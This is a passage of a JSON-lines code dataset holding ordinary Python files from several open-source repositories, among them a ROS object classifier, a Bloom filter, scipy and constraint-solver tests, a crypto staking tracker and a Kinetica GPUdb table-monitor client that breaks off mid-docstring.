coordinate(self, xo, yo, xd, yd):\n self.xo = xo\n self.xd = xd\n self.yo = yo\n self.yd = yd\n\n def dis(self):\n d = np.abs(self.xo - self.xd) + (self.yo - self.yd)\n return d\n\n\na = Work()\na.coordinate(1, 2, 3, 4)\nprint(a.xo)\n", "source": "AIjavaher/python_class", "license": "MIT"} {"text": "#!/usr/bin/env python\nimport txros\nfrom txros import util\nfrom twisted.internet import reactor, defer\nfrom object_classification import LidarToImage\nfrom navigator_msgs.srv import CameraDBQuery, CameraDBQueryResponse\nfrom object_classification import Config, depicklify\nfrom navigator_tools import CvDebug, fprint\nimport os.path\nimport numpy as np\nimport cv2\n\n\nclass ObjectClassifier(object):\n\n def __init__(self, nh, classifier, config):\n self.nh = nh\n # load up the trained svm via pickle\n self.classifier = classifier\n self.config = config\n self.debug = CvDebug(nh=nh)\n\n @util.cancellableInlineCallbacks\n def init_(self):\n yield self.nh.advertise_service(\"/camera_database/requests\", CameraDBQuery, self.database_request)\n self.lidar_to_image = yield LidarToImage(self.nh).init_()\n defer.returnValue(self)\n\n @util.cancellableInlineCallbacks\n def database_request(self, req):\n id_ = req.id\n name = req.name\n img, rois = yield self.lidar_to_image.get_object_rois(name=str(id_))\n resp = CameraDBQueryResponse()\n if img is None or len(rois) == 0:\n fprint(\"Incorrect from reading from the lidar\", msg_color='red')\n resp.found = False\n defer.returnValue(resp)\n\n r = rois[0]\n roi = r[\"img\"]\n bbox = r[\"bbox\"]\n draw = img.copy()\n\n desc = self.config.descriptor.get_descriptor(roi)\n clss, prob = self.classifier.classify(desc)\n clss = self.config.to_class(clss)\n\n cv2.rectangle(draw, (bbox[0], bbox[1]), (bbox[0] + bbox[2], bbox[1] + bbox[3]), (0, 0, 255))\n cv2.putText(draw, clss + \": \" + str(np.round(prob)), (bbox[0], bbox[1]), 1, 1.0, (0, 255, 0))\n self.debug.add_image(draw, \"stuff\", topic=\"panda\")\n\n if name == clss and prob > .8:\n fprint(\"Object Found\", msg_color='green')\n resp.found = True\n else:\n fprint(\"Object missclassified with class {}, prob {}\".format(clss, prob), msg_color='red')\n resp.found = False\n defer.returnValue(resp)\n\n\n@util.cancellableInlineCallbacks\ndef main():\n nh = yield txros.NodeHandle.from_argv(\"object_classifier\")\n config = Config()\n class_file = os.path.abspath(__file__)\n class_file = class_file.split(\"nodes\")[0]\n class_file = class_file + \"object_classification/train.p\"\n\n cl = depicklify(class_file)\n oc = yield ObjectClassifier(nh, cl, config).init_()\n\nif __name__ == \"__main__\":\n reactor.callWhenRunning(main)\n reactor.run()\n", "source": "saltyan007/kill_test", "license": "MIT"} {"text": "filteredElementCollector = FilteredElementCollector(doc)\nwalls = filteredElementCollector.OfClass(Wall)\nfor wall in walls:\n for parameter in wall.Parameters:\n print parameter.Definition.Name, parameter.AsValueString()\n", "source": "sundeep110/revitforarchitects", "license": "Apache-2.0"} {"text": "\"\"\"Representation of a book.\n\nCurrently just acts like a named tuple, but will be extended.\n\"\"\"\nfrom typing import Optional\n\nfrom pydantic import BaseModel\n\n\nclass Book(BaseModel):\n title: str\n text: str\n author: Optional[str] = None\n", "source": "collinsgit/book-worm", "license": "MIT"} {"text": "from mmh3 import hash as h\nfrom sys import maxint\nfrom bitarray import bitarray\n\nclass BloomFilter(object):\n def __init__(self,m=maxint,k=7):\n # Create underlying array\n self._ar = bitarray(m)\n self._ar.setall(False)\n # Generate k salted hash functions, using murmur\n self._hashes = map(lambda i: # for i from 0 to k-1\n (lambda j: # make an anonymous hash function\n h(str(j)+str(i*len(str(j))%(i+1))) % m), # seeded based on i\n xrange(k))\n # Set up counter\n self.len = 0\n\n # Store arbitrary data\n def store(self, x):\n for f in self._hashes: self._ar[f(x)] = True\n self.len += 1\n # Zero all data\n def wipe(self):\n self._ar.setall(False)\n self.len = 0\n # Approximate number of collisions\n def collisions(self):\n return self.len - self._ar.count()\n # Implementing membership test operations\n def __contains__(self, item):\n return filter(lambda i: not self._ar[i], [ f(item) for f in self._hashes])==[]\n # Implementing builtin function len()\n def __len__(self): return self.len\n", "source": "6C1/BloomPy", "license": "MIT"} {"text": "from djavError.models.long_request import LongRequest\nfrom djavError.tests.models.test_problem_request import (\n set_problem_request_stuff)\n\n\ndef get_test_long_request(**kwargs):\n instance = LongRequest(\n total_duration=kwargs.get('total_duration', 10))\n return set_problem_request_stuff(instance, **kwargs)\n", "source": "dasmith2/djavError", "license": "MIT"} {"text": "\"Sparse eigenvalue solvers\"\n\nfrom info import __doc__\n\nfrom arpack import *\nfrom lobpcg import *\n\n__all__ = filter(lambda s:not s.startswith('_'),dir())\nfrom numpy.testing import Tester\ntest = Tester().test\nbench = Tester().bench\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"} {"text": "from constraint import Problem, MinConflictsSolver\n\n\ndef test_min_conflicts_solver():\n problem = Problem(MinConflictsSolver())\n problem.addVariable(\"x\", [0, 1])\n problem.addVariable(\"y\", [0, 1])\n solution = problem.getSolution()\n\n possible_solutions = [\n {\"x\": 0, \"y\": 0},\n {\"x\": 0, \"y\": 1},\n {\"x\": 1, \"y\": 0},\n {\"x\": 1, \"y\": 1},\n ]\n\n assert solution in possible_solutions\n", "source": "kai-pischke/python-constraint", "license": "BSD-2-Clause"} {"text": "import argparse\n\n# Importing data\nfrom src.models.coin import Coin\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"Staking Tracker\")\n parser.add_argument(\"ticker\", help=\"Ticker of cryptocurrency.\")\n parser.add_argument(\"input_file\", help=\"A csv file containing information to process.\")\n parser.add_argument(\"--output\", default=None, dest=\"output_file\",\n help=\"Output filename. If not specified, will be generated based on ticker and time.\")\n parser.add_argument(\"--currencies\", nargs=\"+\", default=None,\n help=\"Additional currencies to process for.\")\n\n args = parser.parse_args()\n\n if args.currencies:\n print(\"Note: Additional currencies current do not work due to lack of data. Will be supported in a further update.\")\n args.currencies = None\n\n return args.ticker, args.input_file, args.output_file, args.currencies\n\n\ndef process_request(ticker, input_file, output_file, currencies):\n \"\"\"\n Processes input from a file specified by filename and creates a CSV file\n\n Args:\n filename: txt file that has data in specified format\n \"\"\"\n coin = Coin(ticker=ticker, currencies=currencies, output=output_file)\n coin.process_data(input_file=input_file)\n coin.write_to_disk()\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n\n process_request(*args)\n", "source": "RyanLiu6/crypto-tracker", "license": "MIT"} {"text": "import os\n\nUPLOAD_FOLDER = os.path.join(os.path.dirname(__file__), '..', 'files')\n", "source": "evanpcosta/IEEEPolybot", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n#\n# Created by: Pearu Peterson, September 2002\n#\n\nfrom numpy.testing import TestCase, run_module_suite, assert_equal, \\\n assert_array_almost_equal, assert_\nfrom numpy import ones\n\nfrom scipy.linalg import flapack, clapack\n\n\nclass TestFlapackSimple(TestCase):\n\n def test_gebal(self):\n a = [[1,2,3],[4,5,6],[7,8,9]]\n a1 = [[1,0,0,3e-4],\n [4,0,0,2e-3],\n [7,1,0,0],\n [0,1,0,0]]\n for p in 'sdzc':\n f = getattr(flapack,p+'gebal',None)\n if f is None: continue\n ba,lo,hi,pivscale,info = f(a)\n assert_(not info,`info`)\n assert_array_almost_equal(ba,a)\n assert_equal((lo,hi),(0,len(a[0])-1))\n assert_array_almost_equal(pivscale,ones(len(a)))\n\n ba,lo,hi,pivscale,info = f(a1,permute=1,scale=1)\n assert_(not info,`info`)\n #print a1\n #print ba,lo,hi,pivscale\n\n def test_gehrd(self):\n a = [[-149, -50,-154],\n [ 537, 180, 546],\n [ -27, -9, -25]]\n for p in 'd':\n f = getattr(flapack,p+'gehrd',None)\n if f is None: continue\n ht,tau,info = f(a)\n assert_(not info,`info`)\n\nclass TestLapack(TestCase):\n\n def test_flapack(self):\n if hasattr(flapack,'empty_module'):\n #flapack module is empty\n pass\n\n def test_clapack(self):\n if hasattr(clapack,'empty_module'):\n #clapack module is empty\n pass\n\n\nif __name__ == \"__main__\":\n run_module_suite()\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"} {"text": "from dictionaries import *\n\n\ndef test_parse_inventory_item():\n assert parse_inventory_item('Coke\\t0.40\\t1.00') == {\n 'name': 'Coke',\n 'paid': .4,\n 'charging': 1.0,\n }\n\n assert parse_inventory_item('Tab\\t0.54\\t1.49') == {\n 'name': 'Tab',\n 'paid': 0.54,\n 'charging': 1.49\n }\n\n\ndef test_profit():\n assert profit({'name': 'Coke', 'paid': 0.3, 'charging': 1.0}) == 0.7\n\n assert profit({'name': 'Tab', 'paid': 0.54, 'charging': 1.49}) == 0.95\n\n\ndef test_profits():\n assert profits([]) == 0.0\n\n assert profits([{'name': 'Coke', 'paid': 0.3, 'charging': 1.0}]) == 0.7\n\n assert profits([\n {\n 'name': 'Coke',\n 'paid': 0.3,\n 'charging': 1.0\n },\n {\n 'name': 'Tab',\n 'paid': 0.54,\n 'charging': 1.49\n },\n ]) == 1.65\n\n\ndef test_is_dollar_store():\n assert is_dollar_store({})\n\n assert not is_dollar_store({\n 'Regular': {\n 'name': 'Regular',\n 'charging': 2.1,\n 'paid': 2.0\n },\n 'Mid Grade': {\n 'name': 'Mid Grade',\n 'charging': 2.4,\n 'paid': 2.2\n },\n 'Premium': {\n 'name': 'Premium',\n 'charging': 2.7,\n 'paid': 2.4\n }\n })\n\n assert not is_dollar_store({\n 'Apples': {\n 'name': 'Apples',\n 'charging': 2.1,\n 'paid': 2.0\n },\n 'Bananas': {\n 'name': 'Bananas',\n 'charging': 2.4,\n 'paid': 2.3\n }\n })\n\n assert not is_dollar_store({\n 'Chips': {\n 'name': 'Chips',\n 'charging': .75,\n 'paid': .5\n },\n 'Coke': {\n 'name': 'Coke',\n 'charging': .6,\n 'paid': .5\n },\n 'Car': {\n 'name': 'Car',\n 'charging': 6000.0,\n 'paid': 5500.0\n }\n })\n\n assert is_dollar_store({\n 'Chips': {\n 'name': 'Chips',\n 'charging': .75,\n 'paid': .5\n },\n 'Coke': {\n 'name': 'Coke',\n 'charging': .6,\n 'paid': .5\n },\n 'Can': {\n 'name': 'Can',\n 'charging': .06,\n 'paid': 0\n }\n })\n\n\ndef test_items_to_buy_here():\n sample_inventory = {\n 'Chips': {\n 'name': 'Chips',\n 'paid': 0.5,\n 'charging': 1.25\n },\n 'Pizza': {\n 'name': 'Pizza',\n 'paid': 3.0,\n 'charging': 5.0\n },\n 'Coke': {\n 'name': 'Coke',\n 'paid': 0.4,\n 'charging': 1.0\n }\n }\n\n assert items_to_buy_here(\n sample_inventory,\n ['Chips', 'Dip', 'Pizza', 'Dr. Pepper', 'A Movie About Explosions'],\n ) == ['Chips', 'Pizza']\n\n assert items_to_buy_here(sample_inventory, [\n 'Chips', 'Fancy Dip', 'Expensive Water',\n 'A Somber Meeting of Distant and Estranged Relatives'\n ]) == ['Chips']\n\n assert items_to_buy_here({}, []) == []\n\n assert items_to_buy_here(sample_inventory, []) == []\n\n assert items_to_buy_here({}, ['Coke']) == []\n\n\ndef test_cost_of_groceries():\n sample_inventory = {\n 'Chips': {\n 'name': 'Chips',\n 'paid': 0.5,\n 'charging': 1.25\n },\n 'Pizza': {\n 'name': 'Pizza',\n 'paid': 3.0,\n 'charging': 5.0\n },\n 'Coke': {\n 'name': 'Coke',\n 'paid': 0.4,\n 'charging': 1.0\n }\n }\n\n assert cost_of_groceries(\n sample_inventory,\n ['Chips', 'Dip', 'Pizza', 'Dr. Pepper', 'A Movie About Explosions'],\n ) == 6.25\n\n assert cost_of_groceries(sample_inventory, [\n 'Chips', 'Fancy Dip', 'Expensive Water',\n 'A Somber Meeting of Distant and Estranged Relatives'\n ]) == 1.25\n\n assert cost_of_groceries({}, []) == 0\n\n assert cost_of_groceries(sample_inventory, []) == 0\n\n assert cost_of_groceries({}, ['Coke']) == 0\n\n\ndef test_read_inventory():\n assert read_inventory('') == {}\n\n assert read_inventory('Coke\\t0.40\\t1.00\\nTab\\t0.54\\t1.49') == {\n 'Coke': {\n 'name': 'Coke',\n 'paid': .4,\n 'charging': 1.0\n },\n 'Tab': {\n 'name': 'Tab',\n 'paid': 0.54,\n 'charging': 1.49\n }\n }\n\n assert read_inventory('Chips\\t0.5\\t1.25\\nPizza\\t3.00\\t5.00\\nCoke\\t0.4\\t1.0') == {\n 'Chips': {\n 'name': 'Chips',\n 'paid': 0.5,\n 'charging': 1.25\n },\n 'Pizza': {\n 'name': 'Pizza',\n 'paid': 3.0,\n 'charging': 5.0\n },\n 'Coke': {\n 'name': 'Coke',\n 'paid': 0.4,\n 'charging': 1.0\n }\n }\n\n\ndef test_inventory_to_string():\n assert inventory_to_string({\n 'Coke': {\n 'name': 'Coke',\n 'paid': .4,\n 'charging': 1.0\n },\n 'Tab': {\n 'name': 'Tab',\n 'paid': 0.54,\n 'charging': 1.49\n }\n }) == 'Coke\\t0.4\\t1.0\\nTab\\t0.54\\t1.49'\n\n assert inventory_to_string({\n 'Chips': {\n 'name': 'Chips',\n 'paid': 0.5,\n 'charging': 1.25\n },\n 'Pizza': {\n 'name': 'Pizza',\n 'paid': 3.0,\n 'charging': 5.0\n },\n 'Coke': {\n 'name': 'Coke',\n 'paid': 0.4,\n 'charging': 1.0\n }\n }) == 'Chips\\t0.5\\t1.25\\nCoke\\t0.4\\t1.0\\nPizza\\t3.0\\t5.0'\n", "source": "BaseCampCoding/python-fundamentals", "license": "MIT"} {"text": "import threading\nimport types\nimport uuid\n\nimport zmq\n\ntry:\n from io import BytesIO\nexcept:\n from cStringIO import StringIO as BytesIO\n\ntry:\n import httplib\nexcept:\n import http.client as httplib\n\nimport os, sys\nimport logging\n\n# We'll need to do python 2 vs. 3 things in many places\nIS_PYTHON_3 = (sys.version_info[0] >= 3) # checking the major component\nIS_PYTHON_2 = (sys.version_info[0] == 2) # checking the major component\nIS_PYTHON_27_OR_ABOVE = sys.version_info >= (2, 7)\n\nif IS_PYTHON_3:\n long = int\n basestring = str\n\n\n class unicode:\n pass\n\n# The absolute path of this gpudb.py module for importing local packages\ngpudb_module_path = __file__\nif gpudb_module_path[\n len(gpudb_module_path) - 3:] == \"pyc\": # allow symlinks to gpudb.py\n gpudb_module_path = gpudb_module_path[0:len(gpudb_module_path) - 1]\nif os.path.islink(gpudb_module_path): # allow symlinks to gpudb.py\n gpudb_module_path = os.readlink(gpudb_module_path)\nif not os.path.isabs(gpudb_module_path): # take care of relative symlinks\n gpudb_module_path = os.path.join(os.path.dirname(__file__),\n gpudb_module_path)\ngpudb_module_path = os.path.dirname(os.path.abspath(gpudb_module_path))\n\n# Search for our modules first, probably don't need imp or virt envs.\nif not gpudb_module_path in sys.path:\n sys.path.insert(1, gpudb_module_path)\nif not gpudb_module_path + \"/packages\" in sys.path:\n sys.path.insert(1, gpudb_module_path + \"/packages\")\n\nfrom protocol import RecordType\n\nif IS_PYTHON_3:\n from gpudb.gpudb import GPUdb, GPUdbRecord, GPUdbException, \\\n GPUdbConnectionException\nelse:\n from gpudb import GPUdb, GPUdbRecord, GPUdbException, \\\n GPUdbConnectionException\n\nimport enum34 as enum\n\ntry:\n import queue\nexcept ImportError:\n import Queue as queue\n\n\n# -----------------------------------------------------------------\n\n\nclass GPUdbTableMonitor(object):\n class Client(object):\n \"\"\" This class is the main client side API class implementing most of the\n functionalities. Implementing table monitor functions means that this class\n creates the server side table monitors in Kinetica and also starts\n listening for different events on those monitors like inserts, deletes\n and updates. Once the notifications (inserted records, deletions and\n updates) are received this class will call the different callback\n methods passed in the constructor.\n\n The intended use of this class is to derive from this and define the\n different callback methods and pass the callback methods wrapped in\n different callback objects of the types defined by the class\n :class:`.Callback.Type`. The callback objects thus\n created must be passed as a list to the constructor of this class.\n\n A usage that will suffice for most cases has been given in the\n ``examples/table_monitor_example.py`` file. The user is requested to\n go through the example to get a thorough understanding of how to use\n this class.\n\n The readme contains the relevant links to navigate directly to the\n examples provided.\n \"\"\"\n\n def __init__(self, db, table_name, callback_list, options=None):\n \"\"\"\n\n Parameters:\n db (:class:`gpudb.GPUdb`)\n The :class:`gpudb.GPUdb` object which is created external to\n this class and passed in to facilitate calling different\n methods of that API. This has to be pre-initialized and must\n have a valid value. If this is uninitialized then the\n constructor will raise a :class:`gpudb.GPUdbException`.\n\n table_name (str)\n The name of the Kinetica table for which a monitor is to be\n created. This must have a valid value and cannot be an empty\n string. In case this parameter does not have a valid value,\n the constructor will raise a :class:`gpudb.GPUdbException`.\n\n callback_list (list(:class:`.Callback`))\n List of :class:`.Callback` objects\n\n options (:class:`GPUdbTableMonitor.Options`)\n The class to encapsulate the various options that can be\n passed to a :class:`.Client` object to alter the behavior of\n the monitor instance. The details are given in the\n :class:`GPUdbTableMonitor.Options` section.\n \"\"\"\n # super(GPUdbTableMonitor.Client, self).__init__()\n\n if not self.__check_params(db, table_name):\n raise GPUdbException(\n \"Both db and table_name need valid values ...\")\n\n self.type_id = \"\"\n self.type_schema = \"\"\n self.db = db\n self.full_url = self.db.gpudb_full_url\n self.table_name = table_name\n self.task_list = list()\n\n self._set_of_callbacks = set()\n\n self._insert_decoded_callback = None\n self._insert_raw_callback = None\n self._deleted_callback = None\n self._updated_callback = None\n self._table_altered_callback = None\n self._table_dropped_callback = None\n\n no_callbacks = all(cb is None for cb in callback_list)\n if no_callbacks:\n raise GPUdbException(\"No callbacks defined ... cannot proceed\")\n\n monitor_callbacks = any(\n (cb is not None)\n and (\n cb.callback_type in GPUdbTableMonitor.Callback.Type.monitor_types()\n )\n and (cb.event_callback is not None)\n for cb in callback_list)\n\n if not monitor_callbacks:\n raise GPUdbException(\n \"No callbacks defined to create table monitors \"\n \"... cannot proceed\")\n\n check_callbacks = all([isinstance(func, GPUdbTableMonitor.Callback)\n for func in callback_list])\n\n self.__operation_list = set()\n\n # Setup the logger for this instance\n self._id = str(uuid.uuid4())\n\n # self._logger is kept protected since it is also accessed from\n # GPUtbTableMonitorBase derived classes.\n self._logger = logging.getLogger(\n \"gpudb_table_monitor.GPUdbTableMonitorBase_instance_\" + self._id)\n\n handler = logging.StreamHandler()\n formatter = logging.Formatter(\"%(asctime)s %(levelname)-8s {%(\"\n \"funcName)s:%(lineno)d} %(message)s\",\n \"%Y-%m-%d %H:%M:%S\")\n handler.setFormatter(formatter)\n\n self._logger.addHandler(handler)\n\n # Prevent logging statements from being duplicated\n self._logger.propagate = False\n\n if not check_callbacks:\n raise GPUdbException(\n \"callbacks must be of type : 'Callback'\")\n else:\n self._set_of_callbacks = set(callback_list)\n\n # Parse the set of callbacks and populate the respective instance\n # variables\n for cb in self._set_of_callbacks:\n if cb.callback_type == GPUdbTableMonitor.Callback.Type.INSERT_DECODED:\n self._insert_decoded_callback = cb\n elif cb.callback_type == GPUdbTableMonitor.Callback.Type.INSERT_RAW:\n self._insert_raw_callback = cb\n elif cb.callback_type == GPUdbTableMonitor.Callback.Type.UPDATED:\n self._updated_callback = cb\n elif cb.callback_type == GPUdbTableMonitor.Callback.Type.DELETED:\n self._deleted_callback = cb\n elif cb.callback_type == GPUdbTableMonitor.Callback.Type.TABLE_ALTERED:\n self._table_altered_callback = cb\n elif cb.callback_type == GPUdbTableMonitor.Callback.Type.TABLE_DROPPED:\n self._table_dropped_callback = cb\n else:\n self._logger.error(\"Unrecognized callback type ... \")\n raise GPUdbException(\n \"Unrecognized callback type passed ... cannot parse\")\n\n self.__operation_list = self.__get_operation_list_from_callbacks()\n\n if ((self.__operation_list is None)\n or (len(self.__operation_list) == 0)):\n raise GPUdbException(\n \"Cannot determine table monitors needed from \"\n \"the callback objects passed in ...\")\n\n if options is None:\n # This is the default, created internally\n self.options = GPUdbTableMonitor.Options.default()\n else:\n # User has passed in options, check everything for validity\n if isinstance(options, GPUdbTableMonitor.Options):\n try:\n self.options = options\n\n except GPUdbException as ge:\n self._logger.error(ge.message)\n raise GPUdbException(ge)\n\n else:\n raise GPUdbException(\n \"Passed in options is not of the expected \"\n \"type: Expected \"\n \"'Options' type\")\n\n # End __init__ Client\n\n def __get_operation_list_from_callbacks(self):\n \"\"\"Internal method to retrieve a set of _TableEvent objects which is\n used to create the table monitors.\n\n Returns: A set of _TableEvent (enum) type objects.\n\n \"\"\"\n operation_list = set()\n\n for obj in self._set_of_callbacks:\n if obj.callback_type in GPUdbTableMonitor.Callback.Type.monitor_types():\n if (obj.callback_type in\n [GPUdbTableMonitor.Callback.Type.INSERT_RAW,\n GPUdbTableMonitor.Callback.Type.INSERT_DECODED]):\n operation_list.add(\n GPUdbTableMonitor.Client._TableEvent.INSERT)\n\n elif obj.callback_type == GPUdbTableMonitor.Callback.Type.DELETED:\n operation_list.add(\n GPUdbTableMonitor.Client._TableEvent.DELETE)\n elif obj.callback_type == GPUdbTableMonitor.Callback.Type.UPDATED:\n operation_list.add(\n GPUdbTableMonitor.Client._TableEvent.UPDATE)\n else:\n self._logger.error(\"No callback object found of one of \"\n \"the types of\"\n \"[INSERT_RAW, INSERT_DECODED, DELETED\"\n \"or UPDATED] to create table monitor\"\n \"... No table monitor can be created\")\n raise GPUdbException(\"Error : No callback object found \"\n \"of one of the types of\"\n \"[INSERT_RAW, INSERT_DECODED, DELETED\"\n \"or UPDATED] to create table monitor\"\n \"... No table monitor can be created\")\n\n return operation_list\n\n def __check_params(self, db, table_name):\n \"\"\" This method checks the parameters passed into the Client\n constructor for correctness.\n\n Checks for existence of the table as well.\n\n Parameters:\n db (GPUdb)\n the GPUdb object needed to access the different APIs\n\n table_name (str)\n Name of the table to create the monitor for.\n\n Returns: Returns True or False if both the arguments are correct or\n wrong respectively.\n\n \"\"\"\n table_name_value_correct = False\n\n if ((db is None) or (not isinstance(db, GPUdb))):\n return False\n\n if (table_name is not None\n and isinstance(table_name, (basestring, unicode))\n and len(table_name.strip()) > 0):\n try:\n has_table_response = db.has_table(table_name,\n options={})\n if has_table_response.is_ok:\n table_name_value_correct = has_table_response[\n \"table_exists\"]\n except GPUdbException as gpe:\n self._logger.error(gpe.message)\n\n return table_name_value_correct\n\n def start_monitor(self):\n \"\"\" This the API called by the client to start the table monitor\n\n This method has to be called to activate the table monitors which\n have been created in accordance to the callback objects passed in\n the constructor, whether this class is instantiated directly or a\n class derived from (:class:`.Client`) is used.\n\n .. seealso:: :meth:`stop_monitor`\n \"\"\"\n for event_type in self.__operation_list:\n\n if event_type == GPUdbTableMonitor.Client._TableEvent.INSERT:\n insert_task = _InsertWatcherTask(self.db,\n self.table_name,\n options=self.options,\n callbacks=[\n self._insert_raw_callback,\n self._insert_decoded_callback,\n self._table_dropped_callback,\n self._table_altered_callback]\n )\n insert_task.setup()\n insert_task.logging_level = self.logging_level\n insert_task.start()\n self.task_list.append(insert_task)\n elif event_type == GPUdbTableMonitor.Client._TableEvent.UPDATE:\n update_task = _UpdateWatcherTask(self.db,\n self.table_name,\n options=self.options,\n callbacks=[\n self._updated_callback,\n self._table_dropped_callback,\n self._table_altered_callback]\n )\n update_task.setup()\n update_task.logging_level = self.logging_level\n update_task.start()\n self.task_list.append(update_task)\n else:\n delete_task = _DeleteWatcherTask(self.db,\n self.table_name,\n options=self.options,\n callbacks=[\n self._deleted_callback,\n self._table_dropped_callback,\n self._table_altered_callback]\n )\n delete_task.setup()\n delete_task.logging_level = self.logging_level\n delete_task.start()\n self.task_list.append(delete_task)\n\n def stop_monitor(self):\n \"\"\" This API is called by the client to stop the table monitor.\n This has to be called to stop the table monitor which has been\n started by the call :meth:`start_monitor`.\n\n Failure to call this method will produce unpredictable results\n since the table monitors running in the background will not be\n stopped and cleaned up properly.\n\n .. seealso:: :meth:`start_monitor`\n \"\"\"\n for task in self.task_list:\n task.stop()\n task.join()\n\n @property\n def logging_level(self):\n return self._logger.level\n\n @logging_level.setter\n def logging_level(self, value):\n \"\"\"\n This property sets the log level for this class and its derivatives.\n\n Parameters:\n value (logging.level): Default setting is logging.INFO\n\n Raises:\n GPUdbException: If the value passed is not one of logging.INFO\n or logging.DEBUG etc.\n \"\"\"\n try:\n self._logger.setLevel(value)\n except (ValueError, TypeError, Exception) as ex:\n raise GPUdbException(\"Invalid log level: '{}'\".format(str(ex)))\n\n class _TableEvent(enum.Enum):\n \"\"\" Enum for table monitor event types\n\n This is an internal enum used for two purposes:\n 1. Generating an internal operation list by parsing the callbacks passed\n to the Client class. The operations used for creating\n the table monitors are INSERT, UPDATE and DELETE. The other two are\n used for callbacks related to dropped and altered table notifications.\n\n 2. Create the required table monitor of the right type by traversing\n the operation list.\n\n This is not meant to be used by the users of this API.\n\n \"\"\"\n INSERT = 1\n \"\"\"\n int: Indicates an INSERT event has occurred\n \"\"\"\n\n UPDATE = 2\n \"\"\"\n int: Indicates an UPDATE event has occurred\n \"\"\"\n\n DELETE = 3\n \"\"\"\n int: Indicates a DELETE event has occurred\n \"\"\"\n\n TABLE_ALTERED = 4\n \"\"\"\n int: Indicates a table has been altered\n \"\"\"\n\n TABLE_DROPPED = 5\n \"\"\"\n int: Indicates a table has been dropped\n \"\"\"\n\n # End Client class\n\n class Options(object):\n \"\"\"\n Encapsulates the various options used to create a table monitor. The\n class is initialized with sensible defaults which can be overridden by\n the users of the class. The following options are supported:\n\n * **inactivity_timeout**\n This option controls the time interval to set the timeout to\n determine when the program would do idle time processing like checking\n for the table existence, server HA failover, etc., if needed. It is\n specified in minutes as a float so that seconds can be accommodated\n as well. The default value is set to 20 minutes, which is\n converted internally to seconds.\n\n Example usage::\n\n options = GPUdbTableMonitor.Options(_dict=dict(\n inactivity_timeout=0.1\n ))\n\n \"\"\"\n __inactivity_timeout = 'inactivity_timeout'\n __INACTIVITY_TIMEOUT_DEFAULT = 20 * 60 * 1000\n\n _supported_options = [\n __inactivity_timeout\n ]\n\n @staticmethod\n def default():\n \"\"\"Create a default set of options for :class:`.Client`\n\n Returns:\n :class:`GPUdbTableMonitor.Options` instance\n\n \"\"\"\n return GPUdbTableMonitor.Options()\n\n def __init__(self, _dict=None):\n \"\"\" Constructor for :class:`GPUdbTableMonitor.Options` class\n\n Parameters:\n _dict (dict)\n Optional dictionary with options already loaded. Value can\n be None; if it is None suitable sensible defaults will be\n set internally.\n\n Returns:\n A :class:`GPUdbTableMonitor.Options` object.\n \"\"\"\n # Set default values\n # Default is 0.1 minutes = 6 secs\n self._inactivity_timeout = self.__INACTIVITY_TIMEOUT_DEFAULT\n\n if _dict is None:\n return # nothing to do\n\n if not isinstance(_dict, dict):\n raise GPUdbException(\n \"Argument '_dict' must be a dict; given '%s'.\"\n % type(_dict))\n\n # Else,_dict is a dict; extract options from within it\n # Check for invalid options\n unsupported_options = set(_dict.keys()).difference(\n self._supported_options)\n if unsupported_options:\n raise GPUdbException(\n \"Invalid options: %s\" % unsupported_options)\n\n # Extract and save each option\n for (key, val) in _dict.items():\n setattr(self, key, val)\n\n # end __init__\n\n @property\n def inactivity_timeout(self):\n \"\"\"This is the getter for the property `inactivity_timeout`.\n This is specified in minutes as a float so that seconds can be\n accommodated. This indicates a timeout interval after which if no\n notification is received from the server table monitors, the program\n will check whether everything is alright, like whether the table is\n still there and in the process will automatically trigger HA\n failover if needed.\n\n The default value is set to 20 minutes converted to milliseconds.\n\n Returns:\n The value of the timeout as set in the\n :class:`GPUdbTableMonitor.Options` instance.\n\n \"\"\"\n return self._inactivity_timeout\n\n @inactivity_timeout.setter\n def inactivity_timeout(self, val):\n \"\"\"This is the setter for the property `inactivity_timeout`.\n\n Parameters:\n val (float)\n This value is in minutes and internally converted to float\n so that seconds can be accommodated easily. The default\n value is 20 minutes converted to milliseconds.\n \"\"\"\n try:\n value = float(val)\n except:\n raise GPUdbException(\n \"Property 'inactivity_timeout' must be numeric; \"\n \"given {}\".format(str(type(val))))\n\n # Must be > 0\n if (value <= 0):\n raise GPUdbException(\n \"Property 'inactivity_timeout' must be \"\n \"greater than 0; given {}\".format(str(value)))\n\n # Convert the value to milliseconds\n self._inactivity_timeout = val * 60 * 1000\n\n def as_json(self):\n \"\"\"Return the options as a JSON\"\"\"\n result = {}\n\n if self.__inactivity_timeout is not None:\n result[self.__inactivity_timeout] = self._inactivity_timeout\n\n return result\n\n # end as_json\n\n def as_dict(self):\n \"\"\"Return the options as a dict \"\"\"\n return self.as_json()\n # end as_dict\n\n # End Options class\n\n class Callback(object):\n \"\"\"Use this class to indicate which type of table monitor is desired.\n\n When the :class:`.Client` is constructed, a list of objects of this\n class has to be supplied to the constructor of the class.\n\n If the list of callbacks is empty or the list does not contain at least\n one of the callbacks of types (:class:`.Callback.Type`)\n ``INSERT_DECODED``, ``INSERT_RAW``, ``DELETED``, or ``UPDATED``, no\n table monitor would be created internally and the program would raise a\n :class:`gpudb.GPUdbException` and exit. So, a list of objects of this\n class is mandatory for the table monitor to function.\n\n An example of using this class and passing on to the constructor of\n :class:`.Client` is as follows::\n\n class GPUdbTableMonitorExample(GPUdbTableMonitor.Client):\n\n def __init__(self, db, table_name, options=None):\n\n # Create the list of callbacks objects which are to be passed to the\n # GPUdbTableMonitor.Client class constructor\n\n # This example shows only two callbacks being created so\n # only an insert type table monitor will be created. For other\n # types callback objects could be created similarly to receive\n # notifications about other events.\n callbacks = [\n GPUdbTableMonitor.Callback(GPUdbTableMonitor.Callback.Type.INSERT_RAW,\n self.on_insert_raw,\n self.on_error),\n\n GPUdbTableMonitor.Callback(GPUdbTableMonitor.Callback.Type.INSERT_DECODED,\n self.on_insert_decoded,\n self.on_error,\n GPUdbTableMonitor.Callback.InsertDecodedOptions( GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.ABORT ))\n\n ]\n\n # Invoke the base class constructor and pass in the list of callback\n # objects created earlier. This invocation is mandatory for the table\n # monitor to be actually functional.\n super(GPUdbTableMonitorExample, self).__init__(\n db, table_name,\n callbacks, options=options)\n \"\"\"\n\n def __init__(\n self,\n callback_type,\n event_callback,\n 